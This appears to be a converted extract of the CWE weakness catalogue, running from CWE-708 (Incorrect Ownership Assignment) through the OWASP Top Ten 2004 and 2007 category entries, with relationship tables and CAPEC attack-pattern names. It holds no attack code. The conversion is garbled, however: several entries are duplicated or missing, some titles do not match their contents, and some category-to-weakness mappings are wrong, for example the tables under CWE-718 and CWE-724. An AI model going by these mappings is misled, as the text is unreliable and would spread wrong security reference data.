<th>Weakness ID: 708 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software assigns an owner to a resource, but the owner is outside of the intended control sphere.

Extended Description
This may allow the resource to be manipulated by actors outside of the intended control sphere.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data
An attacker could read and modify data for which they do not have permissions to access directly.
Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1064</td>
<td>Product changes the ownership of files that a symlink points to, instead of the symlink itself.</td>
</tr>
<tr>
<td>CVE-2005-3148</td>
<td>Backup software restores symbolic links with incorrect uid/gid.</td>
</tr>
<tr>
<td>CVE-2007-1716</td>
<td>Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.</td>
</tr>
<tr>
<td>CVE-2007-4238</td>
<td>OS installs program with bin owner/group, allowing modification.</td>
</tr>
<tr>
<td>CVE-2007-5101</td>
<td>File system sets wrong ownership and group when creating a new file.</td>
</tr>
<tr>
<td>CVE-2011-1551</td>
<td>Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Policy
Periodically review the privileges and their owners.

Testing
Use automated tools to check for privilege settings.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>282</td>
<td>Improper Ownership Management</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>944</td>
<td>SFP Secondary Cluster: Access Management</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Maintenance Notes

This overlaps verification errors, permissions, and privileges.
A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

CWE-709: Named Chains

View ID: 709 (View: Graph)  Status: Incomplete

Objective
This view (graph) displays Named Chains and their components.

View Data

Filter Used:
../@Compound_Element_Structure='Chain'

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>3</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>0</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>3</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>680</td>
<td>Integer Overflow to Buffer Overflow</td>
</tr>
<tr>
<td></td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
</tr>
<tr>
<td></td>
<td>692</td>
<td>Incomplete Blacklist to Cross-Site Scripting</td>
</tr>
</tbody>
</table>

CWE-710: Coding Standards Violation

Weakness ID: 710 (Weakness Class)  Status: Incomplete

Description

Summary
The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
- Languages
  - All

**Common Consequences**
- Other
- Other

**Potential Mitigations**
- **Implementation**
  - Document and closely follow coding standards.

**Testing**
- Implementation
  - Where possible, use automated tools to enforce the standards.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>978</td>
<td>SFP Secondary Cluster: Implementation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>912</td>
<td>Hidden Functionality</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>1000</td>
<td>Research Concepts</td>
<td>1000</td>
</tr>
</tbody>
</table>


**View ID:** 711 *(View: Graph)*

**Status:** Incomplete

**Objective**

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1.

**View Data**

**View Metrics**

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>126</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>15</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>110</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>1</td>
</tr>
</tbody>
</table>

**View Audience**

**Developers**

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

**Software Customers**

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.
Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>725</td>
<td>OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>726</td>
<td>OWASP Top Ten 2004 Category A5 - Buffer Overflows</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td></td>
</tr>
</tbody>
</table>

Relationship Notes

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

References


Maintenance Notes

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)

**Category ID:** 712 (Category)  **Status:** Incomplete

**Summary**

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation (&quot;Cross-site Scripting&quot;)</td>
<td>629  131</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td>629  981</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
<td></td>
</tr>
</tbody>
</table>

**References**

CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws

Category ID: 713 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2007.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>629 117</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>629 159</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td>629 168</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>629 170</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>629 172</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td>629 981</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>Argument Injection</td>
</tr>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
</tr>
<tr>
<td>14</td>
<td>Client-side Injection-induced Buffer Overflow</td>
</tr>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
<tr>
<td>23</td>
<td>File Content Injection</td>
</tr>
<tr>
<td>34</td>
<td>HTTP Response Splitting</td>
</tr>
<tr>
<td>41</td>
<td>Using Meta-characters in E-mail Headers to Inject Malicious Payloads</td>
</tr>
<tr>
<td>44</td>
<td>Overflow Binary Resource File</td>
</tr>
<tr>
<td>66</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>75</td>
<td>Manipulating Writeable Configuration Files</td>
</tr>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
</tr>
<tr>
<td>83</td>
<td>XPath Injection</td>
</tr>
<tr>
<td>84</td>
<td>XQuery Injection</td>
</tr>
<tr>
<td>88</td>
<td>OS Command Injection</td>
</tr>
<tr>
<td>93</td>
<td>Log Injection-Tampering-Forging</td>
</tr>
<tr>
<td>101</td>
<td>Server Side Include (SSI) Injection</td>
</tr>
<tr>
<td>250</td>
<td>XML Injection</td>
</tr>
</tbody>
</table>

CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution

Category ID: 714 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2007.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>629 121</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td>629 177</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>629 184</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>629 744</td>
</tr>
</tbody>
</table>
CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference

Description
Summary
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2007.

Relationships

Related Attack Patterns

CAPEC-ID  Attack Pattern Name
35        Leverage Executable Code in Non-Executable Files
159       Redirect Access to Libraries
193       PHP Remote File Inclusion

References

CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)

Description
Summary
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2007.

Relationships

Related Attack Patterns

CAPEC-ID  Attack Pattern Name
23        File Content Injection
76        Manipulating Web Input to File System Calls

References

CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling

Description

References

CWE Version 2.11

CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management

Summary
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2007.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
<td>629</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td>629</td>
</tr>
</tbody>
</table>

Related Attack Patterns
<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>54</td>
<td>Query System for Information</td>
</tr>
</tbody>
</table>

References

CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage

Category ID: 719 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2007.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>629</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td>629</td>
</tr>
</tbody>
</table>

Related Attack Patterns
<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>50</td>
<td>Password Recovery Exploitation</td>
</tr>
<tr>
<td>90</td>
<td>Reflection Attack in Authentication Protocol</td>
</tr>
</tbody>
</table>

References

CWE-717: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management

Category ID: 717 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2007.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>629</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
<td>629</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td>629</td>
</tr>
</tbody>
</table>

Related Attack Patterns
<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>54</td>
<td>Query System for Information</td>
</tr>
</tbody>
</table>

References
CWE Version 2.11
CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>20</td>
<td>Encryption Brute Forcing</td>
</tr>
<tr>
<td>55</td>
<td>Rainbow Table Password Cracking</td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
</tr>
<tr>
<td>65</td>
<td>Sniff Application Code</td>
</tr>
<tr>
<td>97</td>
<td>Cryptanalysis</td>
</tr>
</tbody>
</table>

References

CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications

Category ID: 720 (Category) Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2007.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access

Category ID: 721 (Category) Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2007.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>285</td>
<td>Improper Authorization</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input

Category ID: 722 (Category) Status: Incomplete

References
### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>167</td>
<td>Improper Handling of Additional Special Element</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>711</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>89</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>711</td>
</tr>
</tbody>
</table>

### References

## CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management

### Category ID: 724 (Category)  
**Status:** Incomplete

#### Description

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.

#### Summary

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>283</td>
<td>Unverfied Ownership</td>
<td>711 499</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>284</td>
<td>Improper Access Control</td>
<td>711 500</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>285</td>
<td>Improper Authorization</td>
<td>711 502</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>711 582</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>711 729</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>525</td>
<td>Information Exposure Through Browser Caching</td>
<td>711 870</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
<td>711 891</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>556</td>
<td>ASP.NET Misconfiguration: Use of Identity Impersonation</td>
<td>711 894</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
<td>711 990</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
<td>711 1111</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>711</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>711 1113</td>
</tr>
</tbody>
</table>

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>711 454</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>711 460</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>711 508</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
<td>711 525</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
<td>711 528</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
<td>711 535</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
<td>711 536</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>711 542</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
<td>711 546</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>711 601</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>384</td>
<td>Session Fixation</td>
<td>711 665</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>521</td>
<td>Weak Password Requirements</td>
<td>711 864</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>711 865</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>525</td>
<td>Information Exposure Through Browser Caching</td>
<td>711 870</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td>711 962</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>620</td>
<td>Unverfied Password Change</td>
<td>711 969</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>711 991</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>711</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>711 1113</td>
</tr>
<tr>
<td>ParentOf</td>
<td>G</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>711 1223</td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
<td></td>
</tr>
<tr>
<td>57</td>
<td>Utilizing REST's Trust in the System Resource to Register Man in the Middle</td>
<td></td>
</tr>
<tr>
<td>94</td>
<td>Man in the Middle Attack</td>
<td></td>
</tr>
</tbody>
</table>

#### References


CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws

Category ID: 725 (Category)  Status: Incomplete

Summary
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>131</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
<td>1001</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>711</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>1113</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows

Category ID: 726 (Category)  Status: Incomplete

Summary
